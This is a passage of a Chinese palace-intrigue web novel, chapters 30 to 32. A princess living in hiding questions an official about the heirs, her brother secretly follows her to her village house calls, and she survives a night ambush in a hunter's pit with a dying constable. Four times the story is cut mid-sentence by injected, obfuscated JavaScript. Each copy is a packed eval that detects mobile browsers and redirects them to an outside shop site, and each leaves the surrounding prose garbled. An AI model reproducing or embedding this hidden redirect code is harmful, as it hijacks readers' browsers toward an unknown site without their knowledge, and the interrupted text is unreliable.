谭柳真轻嗯了一声,没有接话。她记得大皇子那人生得魁梧,说话也粗声粗气的,不像个读书的料。倒是骑射功夫不错,父皇曾夸过他几次。 可也就只是夸夸,从来没给过什么实在的差事。吏部尚书家的嫡女嫁过去,算是给他添了几分底气,可他自己立不起来,再好的岳家也是白搭。 三皇子瘦瘦小小的,从小就体弱,三天两头病着,威远侯府的姑娘嫁过去,怕是要守活寡。 四皇子、五皇子…… 谭柳真微微蹙了蹙眉。她对后面这几位都没什么印象,只知道是庶出,母妃位份不高,在宫里也没什么存在感。 小时候偶尔在御花园里碰见,他们总是低着头绕开走,像是怕惹着什么麻烦似的。 她忽然想起方才章翊说的那句话:“皇嗣还是那几个,没什么大变样。” 没什么大变样,这本身就说明了问题,她忽然抬起眼,猛然想起了什么。 “不知……如今东宫里住的,是我的哪位哥哥胞弟?” 这话问得直接。 章翊端着茶盏的手微微一顿,忽然放下茶盏,正了正衣襟,神色间多了几分郑重。 “殿下,” “微臣本是个地方小官,天子皇嗣的事,原不该多嘴。这些事,说与不说,都是僭越。” “今日提起这些,无非是想着殿下离京多年,骨肉至亲,天各一方,心里必定挂念。微臣斗胆,说几句闲话,权当是……慰藉殿下的思亲之情。” 他说着,微微低下头去,拱了拱手。 “若有冒犯之处,还请殿下见谅。” “无妨,你直说便是。” “这种大事,微臣哪里知道?朝堂上的大人们都还在议呢,微臣一个地方小官,可不敢妄加揣测。” 谭柳真垂下眼,手指无意识地摩挲着茶杯的边缘。父皇登基二十五年了,太子之位居然还空着。 大皇子三十了,二皇子也二十七八,后面的几个皇子也都成年了,居然一个都没被立为太子。 当年父皇能登基,全靠母后母族鼎力扶持。这些年外戚势大,父皇一直想削弱他们,可始终没能成功。 自嘉贵妃入宫后,父皇一直独宠贵妃,贵妃不能生育,所以后宫再也没有添过皇嗣,这是巧合吗? “这十年,宫里倒是清静。” 章翊愣了一下,随即笑了。 “殿下说的是,”他道,“不过说起来,十四皇子倒是养得不错,如今也十岁了,聪明伶俐,很得皇上喜爱。” “十四皇子的母妃……” “是哪位?” 章翊道:“貌似……是是丽嫔,原本只是个贵人,生了十四皇子后才晋的嫔位。” 丽嫔,谭柳真在脑子里搜刮了一圈,想不起这个人,应该是新进的。父皇年纪大了,居然还纳了新妃子。 “殿下放心,”他道,“十四皇子还小,才十岁,立太子的事,怎么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320083|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮不到他头上。” 谭柳真抬起眼,看着他。 “章大人,” “你这话是什么意思?” 后者立刻拱手道:“殿下别多心,微臣就是随口一说。这些事,微臣也不懂,都是听来的闲话罢了。” 谭柳真看着他,没有再问。十年过去,皇帝的后宫,居然子嗣这般凋零。 “章大人对宫里的事,倒是知道得清楚。” “殿下说笑了,” “微臣在兆尹府熬了二十年,迎来送往的,什么人没见过?什么话没听过?耳濡目染,总能知道些皮毛。” “不过这些事,都是些无关紧要的。殿下若想知道什么要紧的,微臣可就真的不知道了。” 谭柳真自然是知道他在推脱,她站起来,理了理衣袍。“章大人,今日多有叨扰。” 章翊也立刻会意站起来,拱手一礼。 “殿下客气。殿下的意思,微臣会尽快传回京都。” 谭柳真点点头。“有劳。” 她转身往外走,却忽然停下脚步,回头看了后面的人一眼。 “章大人。” 章翊微微欠身:“殿下请吩咐。” “他只是个在山里长大的孩子,没见过什么世面,不懂什么规矩。我回京之后,他就在这里过他的日子,与那边没有任何关系。” “殿下放心。”章翊又恭敬地拱了拱手。 谭柳真看了他一眼,转身推门出去。阳光刺得她眼睛微微眯起来。 她站在衙门口,深吸一口气又慢慢吐出来,看着街上人来人往,忽然觉得有些恍惚。 宫里的那些人和事都离她太远了,远得像上辈子的事。可它们又那么近,近得她一闭眼,就能看见那些人的脸。 她摇摇头,把这些念头甩开,抬脚往台阶下走。 走了两步,她忽然愣住了。衙门口的石狮子旁边,站着一个人。 谭晏抱着有福,站在那里,被两个衙役拦着,进不去也走不了。有福趴在他怀里,脑袋转来转去,看见谭柳真出来,立刻兴奋地汪汪叫起来,尾巴摇得跟风车似的。 谭晏顺着有福的目光看过来,看见她,眼睛一下子亮了。 “阿姐!” 他喊了一声,想要跑过来,却被衙役伸手拦住。 “哎哎哎,说了不能进,你怎么还往前冲?” 谭晏脸顿时黑了下来,仿佛下一秒就能杀人。衙役还要拦,谭柳真快步走过去,急忙对那衙役道:“这是我弟弟。” 衙役愣了一下,看看她,又看看谭晏,讪讪地收回手。 “原来是……是令弟啊,得罪得罪。” 谭晏顾不上理他,几步跑到谭柳真跟前,站定了,喘着气,眼睛在她脸上来回打量。 有福比他直接,从谭晏怀里挣出来,扑到谭柳真脚边,拿脑袋使劲蹭她的腿,呜呜叫着,委屈得不得了。 谭柳真低头看它,又抬头看谭晏。谭晏被她看得有些不好意思,低下头去,声音闷闷的: “我……我买了东西,去馄饨摊等阿姐,等了很久,阿姐都没来。我……我就来找你了。” 他说着,又抬头看着她,眼睛里带着几分委屈,“阿姐,你没事吧?” “没事,”谭柳真伸手摸了摸他的头。 30.疑心病 谭晏问她来这里干什么,谭柳真低头看了他一眼: “前几天官府里来人说,流民那案子还有些收尾的事,要我过来一趟。” 谭晏愣了愣,眉头微微皱起。 “流民的案子?不是早就结了吗?” 谭柳真点点头:“是结了,还有些文书上的事。说是要我这个当事人在上面按个手印,走个过场。” 她说得轻描淡写,脸上看不出什么异样。谭晏看着她,想再问什么,又觉得问不出口。他只是点点头,抱着有福跟在她身边,一起往馄饨摊走。 接下来的几天,日子照常过着。 天亮了,太阳升起来,照在院子里那棵老槐树上,照在墙角那片菜地上。 菜苗子已经长高了不少,绿油油的一片,看着就喜人。有福在院子里跑来跑去,一会儿追着自己的尾巴转圈,一会儿又凑到菜地边上,探头探脑地往里瞧。 谭晏照例早起,喂鸡,烧火,熬粥。谭柳真的手快好了,纱布已经拆了,做什么都利索得很,走路也麻利了,不像前些日子那样小心翼翼的。 可谭晏却发现了一件奇怪的事。那天早上他起来去井边打水,抬头看见院墙外那棵老槐树上,落着一只鸟。 那鸟通体雪白,个头不大,站在枝头,歪着脑袋往院子里看。谭晏一开始没在意,以为是寻常的野鸽子,打了水就回灶房了。 可后面的几天谭晏终于发现了不对。 那鸟不是野的。它不怕人,也不飞走,就那么站在枝头,时不时扑棱扑棱翅膀,往院子里张望。而且,它脚上绑着一个小竹筒。 谭晏的心沉了沉,他开始留意起这只鸟来。 他发现阿姐每天都会去院子里站一会儿,有时候是早上,有时候是傍晚。她站在那棵老槐树下,抬头看着那只鸟,那鸟就会飞下来,落在她手臂上。她从鸟脚上取下那个小竹筒,打开看看,然后把什么小纸条塞进去,再让鸟飞走。 她做这些事的时候,脸上没有什么表情,可谭晏总觉得,那眼神里有什么东西不太对。 这几天,因为手好得差不多了,谭柳真不让他和有福睡在她门口了,那天晚上,他照例抱着铺盖要去堂屋打地铺,被谭柳真拦住了。 “阿晏,”她道,“我的手已经好了,你不用再守着了。回你自己屋睡吧。” 谭晏愣在那里,抱着铺盖的手紧了紧。“阿姐……” 谭柳真看着他,笑了笑,那笑容和往常一样温柔,可语气里没有商量的余地。 “回屋睡,床软和,睡得香。” 谭晏张了张嘴想说什么,却什么都说不出来,只能抱着铺盖转身往自己屋里走。 走了几步,他忽然回头。 谭柳真还站在堂屋门口,月光落在她身上,把她的影子拉得长长的。她看着他,又笑了笑。 “傻站着干什么?快去睡。” 谭晏点点头,推门进了屋。那一夜,他翻来覆去睡不着。 第二天早上起来,他照例去井边打水。打完水回来,路过院子,他下意识抬头看了看那棵老槐树。 那只鸟又在。 雪白的羽毛在晨光里泛着淡淡的光,脚上那个小竹筒清晰可见。它站在枝头,歪着脑袋往下看,那黑豆似的眼睛,像是在盯着什么。 谭晏站在那里,看着那只鸟,心里忽然涌起一股说不清的冲动。 他想把那鸟打下来,看看那竹筒里到底藏着什么。 阿姐到底在跟谁通信,为什么瞒着他。他慢慢放下水桶,眼睛还盯着那只鸟,手却悄悄往地上摸去。 地上有颗石子,不大不小,正好趁手。谭晏的手指触到那颗石子,冰凉的,硬邦邦的。他把石子捏在手里,掂了掂分量,眼睛还在盯着那只鸟。 那鸟浑然不觉,还在枝头站着,时不时啄啄自己的羽毛。 谭晏的手慢慢抬起来…… 就在这时,身后的门“吱呀”一声开了。 谭晏的手一抖,那颗石子差点掉在地上。他猛地回头,就看见谭柳真从屋里走出来。 她已经换了一身衣裳,青灰色的粗布衣裙,干净利落。手上那缠了许久的纱布已经拆了,露出光洁的手腕,五指舒展,活动自如。 她看见谭晏站在院子里,手里还捏着个什么东西,愣了一下。 “阿晏?你站那儿干什么?” 谭晏的手飞快地背到身后,那颗石子被他死死攥在掌心,硌得手心生疼。 “没、没什么,”他说,“我打水。” 他指了指脚边的水桶,声音尽量保持平静。谭柳真看了他一眼,没有多问。她走到院子里,抬头看了看那棵老槐树,那只鸟还在枝头站着。 然后她回过头来,对谭晏说:“我今天要下山一趟。” 谭晏愣了愣:“下山?阿姐去镇上?” “不是镇上,”谭柳真说,“是村子里。有几户人家前些日子托人带话,说家里有人不舒服,让我去看看。手好了,总该去瞧瞧。” 她说着,活动了一下手腕,那动作自然得很,像是已经彻底好了。谭晏看着她,心里那点怀疑又冒了出来。 真的只是去看诊?还是去找什么别的人? 但他只是点点头:“那阿姐小心点,早点回来。” 谭柳真笑了笑,“知道了。你在家好好待着,把菜地浇浇水,别让有福进去踩。” 有福在旁边听见自己的名字,摇着尾巴跑过来,谭柳真弯腰摸了摸它的脑袋,然后转身出了院子。 谭晏站在原地,看着她的背影消失在院门外。过了好一会儿,他把那颗石子往地上一扔,转身进了屋。 可没待多久,他又出来了。 他已经换了一身衣裳,灰扑扑的旧褂子,不显眼。他把有福抱起来,摸了摸它的脑袋。 “有福,我出去一下。你看家。” 有福歪着脑袋看他,谭晏没解释,把它放下,转身出了院子。他走得很快,顺着下山的路一路往下。 山路弯弯绕绕,两边是密密的树林。他走得急,却尽量不发出声音,脚步轻得像只猫。 追了大半个时辰,终于在山脚下看见了那个熟悉的身影。 谭柳真走在前面,步伐不快不慢,沿着村道往里走。她穿着一身青灰色的粗布衣裙,和村里的妇人没什么两样,可那走路的姿态,那挺直的脊背,总让人觉得不一样。 谭晏远远地跟着,不敢跟得太近,怕被她发现。 他看着她走进村子,在一户人家门口停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322227|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,敲了敲门。门开了,一个老婆婆探出头来,看见是她,脸上笑开了花,拉着她的手往里让。 谭晏躲在一棵大树后面,看着那扇门关上。 他在心里数着时间。 一息,两息,三息…… 大约过了一盏茶的工夫,门又开了。谭柳真从那户人家出来,老婆婆送她到门口,千恩万谢的样子。谭柳真摆摆手,笑了笑,又往下一户人家走去。 谭晏继续跟着。 下一户,是家姓王的。再下一户,是家姓李的。谭柳真一家一家地走,每一家都待上一盏茶的工夫,出来的时候,那些人家都送到门口,满脸感激。 谭晏跟着她走了小半个村子,看着她进了五户人家的门,又出了五户人家的门。 最后,她在一户人家门口停下,敲了敲门。开门的是个中年妇人,看见她,惊喜地喊了一声“谭大夫”,拉着她的手往里让。 谭晏躲在不远处的墙角后,看着那扇门关上。 他站在那里,愣了很久。脑子里那些乱七八糟的念头好像被什么东西一点点冲散了。 她真的是来看诊的。她说的那些话,都是真的。 谭晏靠在墙角上,慢慢蹲下去,把脸埋进膝盖里。心里那股说不清的滋味,说不上是松了口气,还是别的什么。 直到那扇门又开了。 他抬起头,就看见谭柳真从那户人家出来,和那中年妇人说了几句话,然后转身往这边走。 谭晏一惊,赶紧缩回墙角,等了一会儿,才敢探出头去看。 谭柳真已经走远了,正沿着来时的路往回走。 谭晏远远地跟着她,看着她走下山坡,穿过村道,最后消失在山路的拐角处。 他没有再跟上去,他只是站在那里,看着她消失的方向,看了很久。 山风吹过来,带着草木的清香,凉凉的,吹在脸上很舒服。 也许真的是前些日子,他不在的时候,也许是他去镇上抓药的时候,也许是他在柴房劈柴的时候,也许是中午他睡着了的时候。 可是他什么都不知道。 谭晏站在那里,看着远处的山,看着山间那条弯弯曲曲的小路,心里忽然涌上一股说不出的空落。 他一个人站在那里,山风吹过来,吹得他有些冷。 山下那个村子,安安静静地躺在那儿,炊烟袅袅升起,有孩子在街上跑过,笑声隐隐约约传来。 回到家的时候,太阳已经偏西了。 有福趴在院子里,看见他回来,立刻跑过来蹭他的腿,呜呜叫着,像是在埋怨他把它一个人丢在家里。 谭晏弯腰摸了摸它的脑袋,没有说话。他走到菜地边上,拿起水瓢,继续浇那些没浇完的水。 有福蹲在他脚边,仰着脑袋看他,尾巴在地上扫来扫去。 浇着浇着,院门忽然开了。谭柳真走进来,看见他在浇水,笑了笑。 “回来了?” 谭晏抬起头,看着她。 夕阳的余晖落在她身上,把她的脸照得暖暖的。她脸上带着笑,和往常一样温柔,一样让人安心。 “嗯,” “浇得不错。” 谭柳真走过来,看了看菜地,满意地点点头。 31.遇刺 谭晏顿了顿,忽然问:“阿姐,你今天下山看诊,累不累?” 谭柳真摇摇头:“不累。这么多年都习惯了。” 谭晏看着她,犹豫了一下,还是问出了口:“阿姐,你有没有什么事瞒着我?” 谭柳真愣了一下,随即笑了。 “瞒着你?我有什么事瞒着你?” 谭晏低下头,声音闷闷的:“就是觉得阿姐最近好像不一样了。” 谭柳真看着他,目光里带着几分打量,几分探究。 “哪里不一样?” 谭晏说不出哪里不一样。他只是觉得谭柳真一下山,看见他的时候少了,跟他说话的时候也少了,待在家里的时间就更少了。 她心里好像装着什么事,可那事跟他没有关系。 他抬起头,看着谭柳真,忽然问:“阿姐,你之前说,要我成家立业,要我过自己的日子。那阿姐呢?” 谭柳真愣了一下。 谭晏继续问:“阿姐来这里都九年了,为什么没有想过……找个人成亲什么的?” 他耳朵尖儿红红的,眼睛却直直地看着她,像是真的很想知道答案。 谭柳真看着他,忽然哭笑不得。 “你怎么突然问这个?” “阿晏,不是每个人都非得成亲的。” “有的人喜欢一个人过,有的人喜欢两个人过,各有各的活法。阿姐这样挺好的,自由自在,想干什么干什么,不用看谁的脸色,不用听谁的话。” 谭晏听着,沉默了一会儿。 “那,”他低着头,声音更小了, “那如果阿姐以后喜欢上别人了,一定要跟我说。” “我会搬出去的。不会给阿姐添麻烦。” 谭柳真愣在那里,然后笑得前仰后合,笑得眼泪都快出来了。 “阿晏,”谭柳真笑够了,开口道:“你这脑子里整天都在想些什么?” “阿姐真的没有喜欢上别人吗?” “真的。” 谭柳真笑吟吟地看着他,然后站起来,拍了拍身上的土,往灶房走。 “过来生火吃饭了。” 接下来的几天,谭柳真每天都下山。 一大早起来,换上那身青灰色的粗布衣裙,简单梳洗一番,吃了早饭就往山下走。有时候去东边的村子,有时候去西边的村子,有时候去更远一点的地方。 那些人家都是托人带过话的,说家里有人不舒服,等着她去瞧。 谭晏留在家里,喂鸡,烧火,熬粥,浇菜地。有福跟在他脚边,一会儿追个蝴蝶,一会儿闻朵野花,玩得不亦乐乎。 他把家里收拾得井井有条,灶房里的柴火劈得整整齐齐,院子扫得干干净净,菜地里的苗子长得绿油油的。 谭柳真晚上回来,看见家里收拾得妥妥当当,总要夸他几句。 “阿晏真能干。” 谭晏听得心里高兴,耳朵尖儿红红的,可高兴归高兴,心里那点失落,怎么都压不下去。 阿姐每天早出晚归,他们待在一起的时间越来越少。以前谭柳真在家里,他们一起吃饭,一起干活,一起坐在院子里晒太阳,有福在旁边跑来跑去。 现在他一个人守着这个院子,从早等到晚,等到太阳落山,等到天边最后一抹余晖消失,才看见阿姐的身影出现在院门口。 他想问问阿姐,今天看了几户人家,累不累,有没有遇到什么难事。可阿姐回来的时候总是很累,吃了饭就进屋里歇着了,他不好去打扰。 他只能抱着有福,坐在自己屋门口,看着阿姐那间屋的窗户,看着里面的灯火熄了,才回屋睡觉。 有福趴在他脚边,有时候抬头看他,呜呜叫两声,像是在问他怎么了。他摸摸有福的脑袋,不说话。 那天晚上,谭柳真回来得比平时早一些。太阳还没落山,她就推门进了院子。 谭晏正在菜地里浇水,看见她回来,愣了一下,随即眼睛亮了亮。 “阿姐,今天怎么这么早?” 谭柳真笑了笑,走到菜地边上,蹲下来看了看那些苗子。 “今天那户人家病情不重,看完就回来了。”她说着,抬起头看着他,“家里都还好?” 谭晏点点头:“都好。” 谭晏把家里收拾得利索,把菜地浇得透透的,把有福喂得饱饱的。可他心里那点不安,却像野草一样,越长越高。 他每次阿姐前脚出门,他后脚就跟上。远远地跟着,不敢跟太近,怕被发现。他看着阿姐进了一户又一户人家,那些人开门都笑着脸,送她出来时带着感激。 什么都没发现,但他就是要跟着。 那天早上,谭柳真又要下山。 谭晏正在院子里浇菜,看见她出来,忽然放下水瓢,走过去。 “阿姐。” 谭柳真回头看他:“怎么了?” 谭晏看着她,张嘴又闭上,过了一会儿才鼓起勇气道: “阿姐,我……我今天能不能跟你一起去?” 谭柳真愣了一下。 谭晏连忙道:“我不会添乱的!我帮你拎药箱,帮你跑腿,帮你……” “阿晏,”谭柳真打断他,笑了笑,“你今天不是要修院墙吗?前两天你不是说院墙有个豁口,怕有福钻出去?” 谭晏只能闭嘴,谭柳真走过来,摸摸他的头。 “放心,在家待着,我很快就回来。” 她转身走了。谭晏站在原地,看着她的背影消失在院门外。 有福跑过来蹭他的腿,谭晏低头看着它,忽然蹲下去,把脸埋进有福毛茸茸的身体里。 那天谭柳真回来得很晚。 太阳已经落山了,天边最后一抹余晖也消失了,暮色四合,院子里渐渐暗下来。 谭晏站在院门口,抱着有福,看着山下那条路。路上没有人。 那天的事有点多。 她从最后那户人家出来时,远处的山峦只剩下黑沉沉的轮廓,几点星光已经亮起来,冷冷地闪着。 她紧了紧背上的药箱,沿着来时的路往回走。 村道弯弯曲曲,两边是密密的树林。白天走这条路不觉得什么,夜里走起来,那些树影憧憧的,看着有些瘆人。谭柳真走得快了些,脚步在碎石路上发出细碎的声响。 走了约莫一炷香的工夫,她拐进山道,开始往山上走。 山路比村道更难走,两边是密密的灌木丛,月光被树冠遮得严严实实,只能借着透过叶缝漏下来的那点微光,勉强看清脚下的路。 她走得很小心,一步一步,踩实了才迈下一步。走到半山腰的时候,她忽然停住了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323021|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 前面有什么声音。 很轻,很细,像是风吹过树叶,她屏住呼吸侧耳细听,是脚步声。 不止一个人的脚步声。 谭柳真的心猛地一紧。 她往后退了一步,到一棵大树后面,把药箱轻轻放下,从里面摸出一把小刀。 那是她随身带着防身的,从来没用过,今天却觉得手心沁出了汗,大病初愈的右手正在微微发颤。 月光下,几个黑影从树林里钻出来,鬼鬼祟祟地往山道上张望。 谭柳真看清了他们蒙着脸的样子,手里握着刀,刀刃在月光下闪着寒光。 她倒吸了一口凉气,那些人停在山道上四处张望,像是在找什么。 “人呢?”一个压低的声音问。 “刚才还在,怎么一转眼就不见了?” “分头找。她肯定走不远。” 几个人散开来,往树林里钻。 谭柳真的心提到了嗓子眼。她缩在大树后面,一动不动,连呼吸都不敢出声。那些人就在附近,刀光在树丛间闪烁,越来越近。 就在这时,一阵急促的脚步声从山下传来。 “什么人!” 有人喊了一声,紧接着是刀剑相击的声音。 谭柳真从树后探出头,看见山道上不知什么时候多了一群人,正和那些蒙面人打斗在一起。那群人穿着便服,可那身手,那招式,一看就是练家子。 是衙门的人。 她认出了其中几个,那天在衙门口见过的,还有那个章县令身边的护卫。 蒙面人显然没料到会遇上埋伏,被打了个措手不及。但他们人数不少,且个个凶悍,很快稳住了阵脚,和衙门的人厮杀在一起。 刀光剑影,喊杀声震天。 谭柳真缩在大树后面,不敢动。她看见一个衙门的护卫被砍倒在地,看见另一个被逼得连连后退,看见那些蒙面人像疯了一样往前冲…… “殿下!” 一个人忽然冲到她面前,把她吓了一跳。她定睛一看,是那天在衙门口拦谭晏的那个衙役。 “快走!”他一把拉起她,“这里危险!” 谭柳真来不及多想,跟着他就往山上跑。身后传来追兵的脚步声,越来越近。 “往这边!”那衙役拉着她钻进一条小路,是猎户走的那种羊肠小道,狭窄得只能容一人通过。两边是密密的荆棘,划破了她的衣裳,她浑然不顾,只是拼命地跑。 跑了不知多久,身后追兵的脚步声似乎远了些。那衙役停下来,喘着粗气,回头听了听。 “好像甩掉了……” 话音未落,一支箭“嗖”地射过来,钉在他身旁的树干上,嗡嗡作响。 他脸色一变,拉着谭柳真继续跑。两人气越来越喘,眼前的景象越来越模糊。 月亮升起来了,冷冷的光洒在山林里,把一切都照得惨白。 “这边!”那衙役拉着她往一处山坡下跑。 就在这时,她脚下一空。 谭柳真还没反应过来,整个人已经往下坠去。 耳边是呼呼的风声,眼前是飞速掠过的藤蔓和树枝,然后是“砰!”的一声,重重摔在了什么硬邦邦的东西上。 她躺在那里,好半天动不了。浑身上下都在疼,尤其是左脚,疼得钻心。 32.小角色 谭柳真躺在地上,好半天动不了。 浑身上下都在疼,尤其是左脚,疼得钻心。她挣扎着坐起来,借着从洞口漏下来的月光,看清了自己所在的地方,是个陷阱。 不知道是哪年哪月猎人挖的,足有一人多深,洞口被藤蔓遮住了,难怪她没看见。 那衙役呢?她四处张望,看见不远处躺着个人。 “喂!”她喊了一声,忍着疼爬过去。 那衙役一动不动,脸埋在土里。她把他翻过来,借着月光看清了他的脸,闭着眼睛,嘴唇发白,额头上有个血窟窿,血还在往外流。 她伸手探了探他的鼻息。还有气。可也只剩一口气了。 谭柳真看着他,心里说不出是什么滋味。她不知道他叫什么名字,但是他刚才拉着她跑了一路,替她挡了箭,现在躺在这里,生死不知。 她撕下自己的一块里衣,给他包扎伤口。手抖得厉害,包了好几次才包好。 然后她靠着陷阱的土壁,慢慢滑坐下来。 抬头望去,洞口小小的,月光从那里漏下来,冷冷地照着她。 外面传来隐约的喊杀声,有人在喊“搜”,有人在喊“快追”,声音忽远忽近,不知道是哪些人。 她缩在陷阱里,不知道过了多久,外面的声音渐渐消失了。 月光还在冷冷地照着,夜里冷,陷阱里更冷。 谭柳真蜷缩着身子,瑟瑟发抖。 她的衣裳早就被荆棘划破了,根本挡不住这山里的寒气。她抱着自己的胳膊,牙齿在打颤,冷得连疼都感觉不到了。 伤口也在流血。虽然不深,可那些划痕一道一道的,血慢慢渗出来,浸湿了衣裳。 失血让她的体温一点点流失,她觉得自己像是泡在冰水里,从里到外都是凉的。 意识开始有些模糊了。她狠狠掐了自己一把,让自己清醒过来。 不能睡,睡了就醒不过来了。 不知过了多久,那个衙役忽然动了动。谭柳真看过去,发现他睁开了眼睛。 “你醒了?” 那衙役看着她,眼神有些涣散,却还是挣扎着坐起来。他靠在土壁上,喘了好一会儿,忽然伸手去解自己外衣的扣子。 “你干什么?”谭柳真愣住了。 那衙役没说话,只是把外衣脱下来,抖着手递给她。 “殿下……”他声音虚弱得几乎听不见,嘴唇发白,整个人抖得厉害,“夜里冷……披上。” 谭柳真看着那件外衣,又看看他。他脸色白得像纸,额头上那个血窟窿还在往外渗血,身上那件单薄的中衣早就被血浸透了,贴在身上,整个人缩成一团,抖得比她还厉害。 “你……”她摇头,“你都这样了,给我干什么?” 她把外衣推回去。 那衙役却不接,只是看着她,眼神里带着悲伤,而且很认真。 “殿下,”他的声音断断续续的,“丞相大人……对小的有救命之恩。” 谭柳真愣住了。 “那年……京城瘟疫,”他喘了口气,额头的伤口又渗出些血来,“我一家老小都染上了,没人管,没人问……是丞相大人开了粥棚,施药救人……我爹娘活下来了,我也活下来了……” 他说着,嘴角扯出一个虚弱的笑。 “丞相大人救了我的命。我这条命,本来就是他的。” 他看着谭柳真,眼神里带着几分恳求。 “殿下是丞相大人的亲人……就是我的恩人。” 他把外衣又往前递了递。 “夜里冷,殿下伤得不轻……再失温,就撑不到天亮了。” “我这样……很清楚,我抗不了多久了。” 谭柳真看着那件外衣,看着他那张苍白的脸,发现自己喉咙哽住了。 那衙役见她不动,把外衣往她怀里一塞,然后往旁边挪了挪,挪到陷阱的另一角,背对着她,缩成一团。 “殿下……别嫌弃,”他背对着她,声音闷闷的,“这衣裳……是脏了点。可好歹能挡挡风……” 谭柳真低头看着怀里那件外衣。衙役蜷缩着,浑身都在抖,可一声不吭。 她把那件外衣披在身上。暖意一点点渗进皮肤里,驱散了刺骨的寒冷。 “你叫什么名字?” 那衙役愣了一下,过了一会儿才道:“小的……叫周平。” 谭柳真点点头。 周平躺在那里,呼吸越来越微弱。 她不忍心多看,只敢偏过头去,再没人发现他们,这衙役就真的死了。 “阿姐!” 谭晏提着灯笼,大步在山上跑。阿姐一直没回来,心像是被什么东西狠狠攥住了,攥得他喘不过气来。 山路不好走,夜里更不好走。灯笼的光只能照亮脚下巴掌大的地方,稍远一点就是黑漆漆的。 他好几次差点摔倒,心跳扑通扑通几乎要跳出胸腔,怪自己偏偏这次没有跟着去。 “阿姐!阿姐!” 跑着跑着,忽然听见前面有人声。 山路上有一群人,举着火把,正在四处搜寻。火把的光把那些人的脸照得忽明忽暗,谭晏看清了他们的衣裳,是衙门的人。 领头的那个是那天在衙门口拦住他的衙役。 谭晏的心猛地一沉,不好的预感像潮水一样涌上来。他提着灯笼,快步走过去。 那衙役看见他,愣了一下,随即警惕地按住腰间的刀。 “站住!什么人?” 谭晏看着他,声音发紧:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323022|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我找我阿姐。” 衙役打量着他,忽然认出来了。 “是你?那个……那个的弟弟?” 谭晏点点头,声音着急:“我阿姐今天下山看诊,到现在还没回来。你们在找什么?” 衙役的脸色变了变,和旁边的人交换了一个眼神。 那旁边的人压低声音道:“别说了,继续找。” 衙役点点头,对谭晏道:“小兄弟,你先回去。官府办事,你别掺和。” 谭晏拦住他:“你们在找什么?” 衙役看着他,犹豫了一下,才道:“我们有个捕头,今天跟丢了,到现在没回来。还有……” 他顿了顿,没有说下去。 谭晏的眼睛在火光里暗了下去。他没有再问,转身就往山里跑。 衙役在身后喊他:“哎——你干什么去——” 谭晏没有回头。 他跑得比刚才更快,灯笼也不提了,就那么摸着黑,在山林里跑。 一边跑一边喊: “阿姐——阿姐——” 山风吹过来,把他的声音吹得七零八落,没有人应他,他又喊,喊得嗓子都哑了,还是没有人应。 月亮挂在头顶,冷冷的,照着他一个人。他忽然觉得浑身的血都凉了,心里一阵后怕。 阿姐…… 不知过了多久,远处忽然传来一阵喧哗。 “找到了!在这儿!” 谭晏浑身一震,猛地朝声音传来的方向跑去。他跑过一道山梁,穿过一片密林,终于看见了一群人围在一个地方。 火把的光把那里照得通亮,有人喊快拉绳子。 谭晏挤过去,往下一看—— 是陷阱,一个深深的坑。 火把的光照进去,他看见了两团人影。一团蜷缩在角落,一团躺在地上,一动不动。 他往下看去,月光和火光同时落在里面的女人脸上,正是谭柳真。 她被拉上来的时候,身上披着一件不属于她的外衣。她闭着眼睛,脸色苍白,嘴唇发紫,左脚肿得老高,衣裳被荆棘划得破破烂烂。 “阿姐!”谭晏喊了一声,声音都变了调。 她左脚受了伤,站不稳,一落地就往下倒,被谭晏一把扶住。 “阿姐!?”谭晏上下打量她,谭柳真紧锁着额头闭眼,什么都听不见。 然后那个衙役也被拉上来了。 他浑身是血,脸色白得像纸,额头上那个血窟窿还在往外渗血。他的外衣不见了,只穿着一件单薄的中衣,湿透了,贴在身上。 他伤得不轻,额头上那个血窟窿虽然被谭柳真包扎过,血还在往外渗,染红了半边脸。 谭晏看着这一幕,眼睛一下子就红了。